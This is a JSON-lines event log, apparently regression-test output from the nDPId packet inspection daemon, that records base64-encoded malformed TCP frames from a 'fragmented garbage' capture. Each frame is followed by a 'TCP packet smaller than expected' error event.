-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650337} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650349} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650363} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650370} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650377} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":4112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650385} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650395} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650406} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650413} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650421} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650428} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650435} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650445} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650481} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650515} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650524} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650531} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650538} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650545} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650551} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650562} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650573} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650580} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650588} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650596} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650603} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650614} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650624} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650632} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650639} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650646} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650656} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650664} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650671} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650678} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650702} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650710} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650715} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650722} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650729} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650751} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650789} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028650830} 